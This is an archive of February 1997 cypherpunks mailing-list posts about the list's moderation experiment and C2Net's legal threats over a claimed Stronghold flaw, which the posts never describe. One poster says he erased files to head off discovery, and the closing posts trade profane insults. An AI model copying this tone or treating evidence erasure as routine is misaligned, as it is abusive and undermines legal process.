Anyway, Mensa was accepting U.S. Military GT scores prior to 1980,
and I scored 153 in 1966, which was the highest at the several posts
I did duty in (Ft. Benning GA, Ft. Ord CA, Ft. Lee VA, 4th A.D. Europe).

I gave up on it after a few meetings, since I didn't care for the
parties, and there didn't seem to be any really active/interesting
people there.  There was a "rational sig" I wanted to attend, but
never got around to.  Mensa did put on some good speakers every now
and then, but you could do as well by checking in with the Masons
or the other local civic groups.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 16 Feb 1997 20:12:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Threats of Legal Action and C2Net/Stronghold Issue
Message-ID: <199702170412.UAA18115@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks,  alt.privacy, comp.org.eff.talk)


At 6:07 PM -0800 2/16/97, Sandy Sandfort wrote:

>Curiously, in a subsequent telephone conversation, Tim May 
>proposed almost that exact suggestion as an alternative form of
>moderation that he said would have been acceptable to him.  Go
>figure.

The only phone conversation I had was with Doug Barnes, at the request of
Doug that I urgently phone either him or Sameer. I called Doug as soon as I
got the message. (Doug also said he was the only one in the room at the
time, and that the call was *not* being recorded, so I have to surmise that
Sandy got his version of things via a recap by Doug.)

 
>> 21. Tim received a warning from C2Net's lawyers that if he did not
>> desist from mentioning that Dimitri had posted an article criticising
>> a C2Net product that he would be sued!
>
>Absolutely false.
> 

What Doug told me was that Dimitri Vulis had already been served with a
legal notice about his warnings about a security flaw in Stronghold, and
that any repetition of Dimitri's claims by me or anyone else would result
in similar legal action.

Doug said that any repetition of the claims, even as part of a quote, would
be seen as actionable by C2Net. "We'll vigorously defend our rights." (as
best I can recall) He said he thought my messages, to the extent they
merely _alluded_ to the claims were probably OK and that they would
certainly go through to the list, as Sandy has already resigned from his
role as moderator.

(For the record, these messages DID NOT GO THROUGH, and have not gone
through as of tonight, 8-9 days later. However, I have forwarded them to
several people who requested them.)

(I also did not have a recorder running, so I can't claim this is a
verbatim summary of what was said. As to what I said about how the
moderation thing might have been done differently, Doug and I chatted for a
while about various alternatives. I raised the point I've made before, that
having a "members only" policy, with some special provision for some amount
of remailed messages, would probably best suit the notion of keeping the
"community" running. What I told Doug was that my main objection was having
Sandy sit in judgement to essays folks might have spent a long time
composing, and I cited physical parties, where a host invites those he
wants in attendance, but does not micromanage or screen conversations being
held at the party. My sense was that Doug agreed, and agreed that the whole
thing had been handled in a bad way...but Doug should comment to tell his
view of things.)

The next day, at the physical Cyperpunks meeting at Stanford, I briefly
talked to Greg Broiles, working as a legal aide at C2Net. I told Greg he
could "take his best shot," in terms of filing suit against me about my
messages, as I'm prepared to fight C2Net in court on this matter, and have
the financial resources to hire some pretty good lawyers. (I don't recall
if Greg replied, or what his reply was.)

In a message to Cypherpunks, I outlined my understanding of the Vulis
report on security flaws in Stronghold, and put the claims  in the context
of messages not appearing on either of the two main lists,  but none of my
messages were sent to either the Main list or the Flames list. 

(I also had communication with several members of the list, some known to
me and some only pseudonyms. I have taken the precaution of erasing these
messages and copying files to the disk on which they resided to head off
any attempts by C2Net seize my computer and disks as part of some
"discovery" process.)

I find it unfortunate that C2Net is behaving in such a manner, and their
actions are generating far more publicity about the claimed security flaws
in Stronghold than the original Vulis message ever would have generated. 

Sunlight is the best disinfectant, as a Supreme Court justice averred. And
suppression is a breeding ground for all sorts of bacteria, fungi, and ugly
growth, as a less articulate person said.

Reporters interested in this story have already contacted me. They're
interested in the situation surrounding the claims of a flaw. I told one
reporter I had no expertise in Stronghold, SSL, etc., and could not say,
but that I suspected strongly that the claim was made just as a "tweak" of
C2Net. 

"Truth is an absolute defence against libel claims."

(P.S. To repeat, I doubt there is a flaw in Stronghold, either introduced
by RSA (Republic of South Africa, of course) or by the NSA, or by C2Net, or
by anyone else. I said as much in my messages which never made it to the
list.)

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 16 Feb 1997 21:26:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: test 527
Message-ID: <199702170526.VAA21160@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


test 527

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 16 Feb 1997 20:11:15 -0800 (PST)
To: Tim May <tcmay@got.net>
Subject: Re: Threats of Legal Action and C2Net/Stronghold Issue
Message-ID: <199702170411.UAA18052@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The story about Stronghold security flaws reminds me of The Right Reverend
Colin James III (puke). CJ3 also started his kook career when he was 
accused of being stupid and not knowing what he was talking about in
his announcement about performance of BSAM, his "invention". He immediately
reacted to the accusers and promised to sue them, their employers, their
providers, the Inspector General, and more.

He really went after his enemies, trying to get them fired, etc. As a
result of his long struggles, most enlightened minds on USENET realized
that he was an excellent candidate for Kook of the Month award. A nomination
followed.

When he was elected Kook of the Month last January with a
record-breaking vote, he threatened to sue anyone who mentions his new
Kook status. That only added fuel to the fire, as more and more posters
"dared" to expose him as a lying forger and kook.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Biddell <jba@fl.net.au>
Date: Sun, 16 Feb 1997 07:26:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702161526.HAA18388@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


How the hell do I get OFF this list ??






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 16 Feb 1997 21:26:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: SSZ Test [No Reply]
Message-ID: <199702170526.VAA21146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Test Sunday - No Reply






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 16 Feb 1997 16:26:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderation experiment and moderator liability
Message-ID: <199702170026.QAA09134@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



There appears to be a bit of a hush up surrounding the circumstances
of the pause in the moderation experiment and subsequent change of
moderation policy.

To clear the air, I think it would be kind of nice if the full story
were told, so I'll gather here a history as I understand it.
Information from my archives (those I have), and from asking around in
email.

I realise that some of the actions that I am claiming of participants
in this sequence of events seem hard to believe given their high
reputation capital.  I was myself initially dubious on the strength of
the reputation capital of those being critisized.

However the below is the sequence of events as close as I can
determine.

I welcome being proven wrong on any points.


Events:

1. Dimitri Vulis posted a lot of off topic posts over a period of time

2. Dimitri reposted a couple of 50k Serdar Argic revisionist articles 

3. Dimitri challenged John Gilmore to shut him up

4. John unsubscribed Dimitri, and modified majordomo@toad.com to
siltently ignore Dimitri's attempts to resubscribe.  Dimitri could
still post, and presumably read cypherpunks with a different email
address or via an archive.  It was a token unsubscription only.

5. When Dimitri figured out what John had done, he made many posts
denigrating John as a censor

6. Much discussion ensued critisizing John for blocking Dimitri

7. Over Christmas some joker subscribed cypherpunks@toad.com to a load
of sports mailing lists, Hugh Daniels and John cleaned up the mess

8. Followed a long thread on hardening lists against spam attacks

9. John made a post to the list announcing that the list would be
moderated for one month from Jan 11 as an experiment, and included
Sandy Sandfort's proposed moderatation policy and offer to act as
moderator.  It appeared that the moderation experiment was Sandy's
suggestion, and that John had agreed to go along with it.

10. Some discussion both pro and con of moderation, and the technical
, free speech, and legal aspects followed

11. Moderation started Jan 19, the main list became the moderated list

12. Lots of people complained about the moderation, some defended it
Tim May quietly unsubscribed

13. Some people complained about inconsistency in moderation -- some
articles which went to flames were not flamish, but made by posters
with low reputation capital, or were following up to posts which were
flamish.

14. After a while some people commented on Tim's absence, and sent him
mail asking what happened.  Tim posted an article explaining that he
had left because of the imposed moderation without discussion.

15. John followed up with a post defending the moderation experiment,
and arguing for it's popularity (he claimed as evidence the number of
posters who had not taken the trouble to move to the unedited list).

16. Dimitri posted an article where he claimed that there was a
security flaw in Stronghold.  Stronghold is C2Nets commercial version
of the freeware Apache SSL web server.  Sandy is employed by C2Net.

17. Sandy dropped the posting entirely -- it went to neither
cypherpunks (edited), nor cypherpunks-flames.  He considered that
forwarding the posting would have made him legally liable.  Sandy is a
lawyer by profession.  He did not explain this situation on the list.

18. Tim May had by now subscribed to cypherpunks-flames, and posted
several follow-ups to Dimitri's posting, discussing the issue of
Dimitri's post being dropped, and stated that Dimitri's posting was
not flamish, and should not have been dropped in his opinion.  Tim's
postings were also silently dropped, going to neither of cypherpunks
(edited), and cypherpunks-flames.

19. Sandy made an announcement that he was ending his participation in
the moderation experiment.  Still no explanation of why posts were
dropped, or even admission that they were.

20. The two moderated cypherpunks lists (cypherpunks and
cypherpunks-flames) went dead for some time.

21. Tim received a warning from C2Net's lawyers that if he did not
desist from mentioning that Dimitri had posted an article criticising
a C2Net product that he would be sued!

22. John posted a statement where he explained Sandy's sudden
announcement of ending his particpation.  John explained that Sandy
had "hit a pothole in the moderation experiment when Mr. Nemesis
submitted a posting containing nothing but libelous statements about
Sandy's employer".  Sandy did not drop Johns posting even though it
covered the same topics that had resulted in Tim's posts being
dropped, and resulted in Tim receiving legal threats from C2Net.  In
the same post John said that he had come to the conclusion that he was
no longer willing to host the cypherpunks list.  In this post John
announced that Sandy had been persuaded to continue to moderate for
the remainder of the moderation period, and gave the new policy.  The
changes were that anything other than crypto discussion and discussion
of forming a new cypherpunks list would go to flames, and anything
that Sandy thought was libelous would be dropped silently.

23. Sandy posted a statement affirming that he would continue to
moderate, and that if any cypherpunks wished to discuss his prior
moderation policy and performance as a moderator that they do it on
new lists which they create themselves.


(If Sandy's current moderation criteria mean that he feels obliged to
forward this post to cypherpunks-flames as off-topic, or even to
silently drop it from both moderated lists, so be it.  I will simply
repost it later, when the moderation experiment is over on one of the
new lists.  In the event of myself receiving legal threats, I shall
simply post it via a remailer, or rely on someone else to do so.  C2
does not appear to be running any remailers at the moment, otherwise I
would use a remailer hosted at c2.net as the exit node in the remailer
chain.)


The positive outcome of all this has been to make the cypherpunks list
more resilient to legal attack.  The new distributed list seems to be
progressing well, and will be less liable to attack.  Filtering
services continue, as they should.  And alt.cypherpunks has been
created as a forum ultimately resistant to legal attack.

Also I should say that I would hope that no one holds any long term
animosity towards any of the players in this episode, many of the
people have been very prolific in their work to further online privacy
and freedom, and I hope that we can all put this chapter behind us.


Now more fun things...

Anyone checked out the DES breaking project?

Over on 

	http://fh28.fa.umist.ac.uk/des/ 

are details of mailing lists where people are organising breaking
RSADSIs DES challenge.  For the RC5/32/12/6 (48 bit RC5) break which
took 13 days, it seems there were a peak of 5000 machines involved.
At this rate it will take 8 months to break DES.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 17 Feb 1997 08:56:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Another test
Message-ID: <199702171656.IAA09294@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Another test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Mon, 17 Feb 1997 08:56:13 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702171656.IAA09287@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles writes:
> At 01:13 PM 2/16/97 -0800, Dave Hayes wrote:
> >I can also offer my participation in the distributed mailing list, if
> >that is what it takes to get cypherpunks free of control interests again.
> I think it would be more accurate to say that this is what it takes to get
> cypherpunks into the hands of different control interests. 

Ok. If the legends about this list are true, then this is the ideal
place to determine the feasability of removing -any- control
interests.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

   The only person who needs a contract is one who cannot be trusted.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Feb 1997 09:11:16 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: The Offending Stronghold posts...
Message-ID: <199702171711.JAA09591@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Here're wee additions to your archive:

I subbed to cp-unedited from the first, so could compare the unedited 
messages with the edited. Some of mine(*) were edited, including a few
on the Stronghold topic. But to me that's not as big a deal as some want
to make of it.

For example, in response to Tim's request to repost DV's Stronghold ploy, 
I did so, and it was edited. Sandy sent me a courteous email stating that he 
was not forwarding the message. I answered that that was okay with me 
because I thought that DV was using the issue as a ploy to undermine 
Sandy. Hey, there were no legal or other threats made to me, darn it!

Another of my edited messages stated that there had been good discussion
on the unedited list about DV's Denial of Service attack on Cypherpunks.

Another noted that DV had been admirably successful in drawing others into
his fight -- in support and in opposition -- as part of his DoS.

Another questioned "Who's Censoring Who?" and offered the opinion that 
"censorship" rhetorically exaggerated Sandy's moderation. (I still believe 
that's the case.)

For what it's worth, I oppose moderation, but favor experimentation, in
the recognition that humans are near-endlessly adaptable and near-
uncontrollable no matter what control mechanisms are employed -- anarchy
is the norm whether advocated or not.

So, I think the moderation experiment was a success, in that it has led to an 
unexpectedly constructive reconfiguration of Cypherpunks -- and not the last, 
that's for sure -- and showed that any archy is wishful dreaming of tortured
hearts and minds and loins.

A one hand applause to Dr. V and archy-demolishers for vibrating the c'punks
house the way SATAN did bigger shoddy piles. Two hands to TCM for more 
memorable quaking of structure-bunkered c'punks and others.

-----

* I'll supply copies of messages cited if you like.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 17 Feb 1997 12:56:38 -0800 (PST)
To: John Young <rah@shipwright.com>
Subject: Re: The Offending Stronghold posts...
Message-ID: <199702172056.MAA13557@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:02 PM -0500 2/17/97, John Young wrote:

>Return-Path: cypherpunks-errors@toad.com
>X-Sender: jya@pop.pipeline.com
>Date: Sun, 09 Feb 1997 13:17:32 -0500
>To: cypherpunks@toad.com
>From: John Young <jya@pipeline.com>
>Subject: Who's Censoring Who?
>Sender: owner-cypherpunks@toad.com
>
>Sandy's e-mailed several of us who've sent messages about Vulis's
>ploy to put Sandy in a conflict-of-interest bind -- a well-known attack
>on moderators of all kinds, not just on the net.

Interestingly, I don't recall getting any e-mail from Sandy telling me he
was not passing on my messages to either the Main or the Flames list...my
messages were simply dropped on the floor. (Others, including John, have
said they sometimes got nice Sandygrams explaining why their items were
deemed unsuitable for either of the lists. Sandy may have considered it
pointless to send me an explanation....)


>It's probably worth saving accusations of censorship for the real thing,
>after trial usage here for what is truly nasty high-stakes global info-war
>gaming.

As John likes literary references, recall William Burroughs' warning about
"the policeman inside."

I can't share John's belief that we should ignore censorship on the CP list
(especially messages going to neither of the two specified lists, without
notice). Waiting "for the real thing" is not a clear-cut issue, as explicit
censorship of political views is not likely to happen in our lifetimes in
the U.S.

However, "self-censorship," a la the V-chip, the mandatory voluntary
labeling of CDs, etc., is becoming the favored route. And the use of  the
legal system, or threats to use the legal system (a la threats made to
Vulis, Against Moderation, etc.) is part of the bullying pulpit (this pun
inspired by John's flights of rhetorical fancy).

>[Note: Thorn, "cuckoo" and TCM responded to this; none were forwarded
>to the cp-edited list, AFIK.]

One of the interesting, and utterly predictable, consequences of "silent
suppression" of some messages is that those on the unedited list, who see
all traffic (for the nonce), get to engage in conversations which are
subsequently suppressed so that several of us are having a conversation the
main list (and the flames list) are oblivious to!

This has had the fascinating effect of having people outside the
conversation (as an example, Blanc Weber) gradually figuring out from
"approved" messages that something is going on behind the scenes...they
they send us messages (as Blanc did) asking what the hell is going on, what
we're obliquely referring to. When the excised material is forwarded to
them (as I did with Blanc), the reaction is often "Wow! I didn't know."

As conversational threads are often so tangled, and become so much more
tangled with time, the job of the censor gets more difficult as time
passes. Not only must he excise all mention of banned topics, he must also
be alert to later discussions making mention of the act of banning, or of
the topics. This is territory well-covered by Orwell, of course. The
rewriting of history is a full-time job.

--Winston Smith


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 17:44:56 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation experiment and moderator liability
Message-ID: <199702180144.RAA19245@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Dale Thorn <dthorn@gte.net> writes:
> > Adam Back wrote:
> > > [summary of events]
> > I believe your summary is very accurate except:
> > I would add after the paragraph about Dimitri posting the warning
> > about C2, that C2's lawyers sent an immediate threatening letter
> > to Dimitri.

> Agree, that should be added:
> 15a. Dimitri received a legal notice from C2Net's lawyers about
> Dimitri's allegations

I know this could sound really nitpicky, but proofreading etc. is a
big thing for me, so, I personally would not say "legal notice"
alone, as it doesn't convey the sense of threat that was very real
in the letter to Dimitri.  Perhaps "terse legal notice" or words to
that effect...

> > I would change the paragraph about Tim May receiving a warning from
> > C2's lawyers to say that Tim May received a warning second-hand that
> > anything Tim would say to support or reiterate Dimitri's claims
> > would be actionable by C2 as well.

> Let's see I wrote:
> > 21. Tim received a warning from C2Net's lawyers that if he did not
> > desist from mentioning that Dimitri had posted an article criticising
> > a C2Net product that he would be sued!

> Tim explained the situation in fair detail in his recent post,
> explaining, after Sandy's "Absolutely false." retort to my above
> claim.  Perhaps my wording could be more accurately changed in the
> light of the further explanation from Tim to:
> 21. Tim was told by a C2Net employee that if he did not desist from
> discussing Dimitri's claims about C2Net's StrongHold product, C2Net
> would take legal action against him!

Again, at the risk of nitpicking, I'd say "might take legal action...".

Just an opinion, I think you've done a really good job summarizing
these events.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 17:44:14 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: The Offending Stronghold posts...
Message-ID: <199702180144.RAA19212@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

> Interestingly, I don't recall getting any e-mail from Sandy telling me he
> was not passing on my messages to either the Main or the Flames list...my
> messages were simply dropped on the floor.
[snip]
> As conversational threads are often so tangled, and become so much more
> tangled with time, the job of the censor gets more difficult as time
> passes. Not only must he excise all mention of banned topics, he must also
> be alert to later discussions making mention of the act of banning, or of
> the topics. This is territory well-covered by Orwell, of course. The
> rewriting of history is a full-time job.

Exactly.  I hate to intrude, but some of us kids learned that lesson
in something called "Sunday School" way back when.  The lesson was
"If you tell one lie, you'll have to tell another to cover it up,
then another and another until you're buried in the lies and your
credibility is shot".  A related lesson: "An excuse is the skin of
a reason packed with a lie".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 17:42:09 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
Message-ID: <199702180142.RAA19145@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> With regard to chemicals, may I suggest a perusal of the PGI and PML lists
> (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These
> are good resources; just about anything you might want is available.
> However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk
> Newsgroup folks-thanx Dimi--there *is* a difference).
> Yea, (as D. Thorn might babble, if I understand the shards of his stuff
> quoted in the posts of those who should know better) when I was a young
> fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
> have any idea what metallic sodium and red fuming nitric acid and Willy
> Ley-strength Hydrogen Peroxide are all about?"

Yea, tho' they kicked me out of school for stashing this stuff in
my wall locker, does that make me a bad person, or stupid?  Lots
of patriots in the late 1700's blew themselves up trying to make
explosives for the cause.  One person's freedom fighter....






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 17 Feb 1997 20:02:10 -0800 (PST)
To: snow@smoke.suba.com>
Subject: Re: The Science Generations, II
Message-ID: <199702180402.UAA22251@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:52 PM 2/17/97 -0700, drose@AZStarNet.com wrote:
>Yea, (as D. Thorn might babble, if I understand the shards of his stuff
>quoted in the posts of those who should know better) when I was a young
>fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
>have any idea what metallic sodium and red fuming nitric acid and Willy
>Ley-strength Hydrogen Peroxide are all about?"

Yes, those nosy shopkeepers should really keep it to themselves!  I remember 
at about age 14 being pissed because I'd been sold _10%_ nitric acid, 
when I was expecting the 70% stuff!  Within a few weeks I was buying direct 
from his supplier!






Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Terry L. Davis" <terryld@earthlink.net>
Date: Mon, 17 Feb 1997 21:12:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Removal from newsgroup listing
Message-ID: <199702180512.VAA23682@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm not certain how I got on the cypherpunks newlist, but it's way over 
my head.  Please removed terryld@earthlink.com from cypherpunks@toad.com
Thanks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Mon, 17 Feb 1997 19:22:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180322.TAA21460@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:28 PM 2/17/97 -0800, you wrote:


:anomalies in the new system,

[now the big words!]

:given the haste in which they must initiate a new distributed
:mailing list system.
:  On the other hand, they may all be godless communists, seeking
:to twist our fragile minds to do their bidding. (Much like myself)
:
:Toto

I recant. You ARE nuts!

Alec

Niice post.  
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PsWVhjvoRPU=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 17 Feb 1997 21:11:12 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The Science Generations, II
Message-ID: <199702180511.VAA23606@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


My dear fellow:

I suppose you missed the notion that, on the Internet, *some* folks know
that you are a dog.

P.S. You, Dimi, D. Thorn, Dimi, "Nurdane Oskas", Dimi, "Awaken to Me",
Dimi,"World's Youngest Cypherpunk", Dimi, "Andre the Cypherpunk", Dimi, etc.
etc. are to be commended if not appreciated for your efforts in ruining an
amazingly good thing.  See you in alt.baloney.  Incidentally, do you
habitually defecate (FYI, that's "to discharge feces from the bowels") in
your own single-wide? (Son, that's a rhetorical question.)

The very fact that you shamelessly and boneheadedly refuse to keep your head
down after all of the damage that you and your lot have caused (with 1K+
lurkers "looking on") is worthy, certainly, of some serious consideration.

Ia! Ia! Cthulhu Fhtagn!

>drose@azstarnet.com wrote:
>> 
>> With regard to chemicals, may I suggest a perusal of the PGI and PML lists
>> (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? 
>
>  Sounds like this is an on-topic post for the 'flames' list.
>
>Toto
>
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 17 Feb 1997 21:11:07 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The Science Generations, II
Message-ID: <199702180511.VAA23595@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
subscribed to a million and one lists that I never knew I needed (and so
quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
is going away *real * quick, so save your keystrokes. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 18 Feb 1997 07:26:07 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
Message-ID: <199702181526.HAA05730@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> My dear fellow:
> I suppose you missed the notion that, on the Internet, *some* folks know
> that you are a dog.

If you, sir or madam, had 1/10 the brainpower that the most active
subscribers to this list have, you would:

1. Understand the subtleties I put forth (ditto Toto and Dr. V).
2. Be able to filter who you don't want to read.
3. Help other less fortunates like yourself to learn filtering.

It is you who pollute the list with worthless crap, which you falsely
interpret as criticism, but which is actually a poor excuse for
what you've failed to learn in life.

A pox on you.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 18 Feb 1997 07:26:04 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
Message-ID: <199702181526.HAA05719@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> 
> To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
> subscribed to a million and one lists that I never knew I needed (and so
> quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
> is going away *real * quick, so save your keystrokes.

My point has been proven once again!  Another spineless coward pollutes
the list with worthless criticism, and then slinks away from those s/he
attacks like a mangy coyote.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 18 Feb 1997 07:26:09 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Cypherpunks FAQ
Message-ID: <199702181526.HAA05736@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Feb 1997, Dale Thorn wrote:

> Date: Mon, 17 Feb 1997 17:12:19 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: cypherpunks@toad.com
> Subject: Re: Cypherpunks FAQ
> 
> Toto wrote:
> > ISP_Ratings wrote:
> > >   Yes--and given the role Dr. Vulis has played in this matter
> > > it would be most appropriate for him to write an FAQ (although
> > > I personally ignore most FAQs).
> 
> >Perhaps it would be more appropriate for the good doctor to write a FUQs.
> 
> Why not do it like the Declaration of Independence?  A primary author
> puts the basic document together, and other persons with expertise in
> other important areas add to it, then it gets circulated on the list
> for comments and suggestions.
> 
> "Other areas" not normally addressed in these kinds of documents
> should include subscribers' awareness that the crypto lists are
> a prime target of attention from federal agencies, et al, and
> that much of the material posted could be pure disinformation.
> 

I do not think that any Federal Agency would be interested in any
group so undisciplined as cypherpunks.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Feb 1997 07:41:24 -0800 (PST)
To: drose@azstarnet.com
Subject: Drose / You're a fucking idiot!
Message-ID: <199702181541.HAA06048@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
> subscribed to a million and one lists that I never knew I needed (and so
> quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
> is going away *real * quick, so save your keystrokes.

  I generally try to be fairly civil in my postings, and refrain from
personal insults, but I will make an exception, here.
  So listen up, shit-for-brains, and I will try to explain a few concepts
that you seem to be too dim-witted to understand.

  I am a CypherPunk.
  I have a <Delete> key, and I know how to use it.
  When my personal account is subjected to spam-attacks and unwanted
subscriptions to a multitude of lists, I deal with it. I don't make
baseless accusations against others based on their perceived public
reputation, or my own subjective perception of their reputation
capital.

  I am not just a CypherPunk, I am also an adult.
  I take responsibility for my own actions, and I keep those actions
within the bounds of what I perceive to be acceptable ethics and
personal integrity.
  If you think that I am responsible for this-or-that action in regard
to yourself, then all you have to do is ask me, and I will tell you. I
don't make any bones about my beliefs and views, and I don't have any
problem with others opposing my beliefs and views.
  When I launch an attack on someone, right or wrong, it is a frontal
assault, not a hidden one. When I post anonymously to the list, or
send anonymous email, I do not use remailers, in order that anyone
with the will and wit to do so may easily discern my pseudonyms through
the headers and use of the 'trace' command.

  If you think that I am the source of your problems, then you are a
fucking idiot.
  I have no idea who you are, and can only vaguely recall the content
or context of your past posts to the list. As such, I would certainly
have little motivation for lifting even my little pinkie against you
in a conspiratorial attack on you.
  I would suggest that the only 'fixations' involved between you and
myself are coming from your end of the electromagnetic spectrum. I would
also suggest that you get your head out of your electromagnetic rectum.

Toto







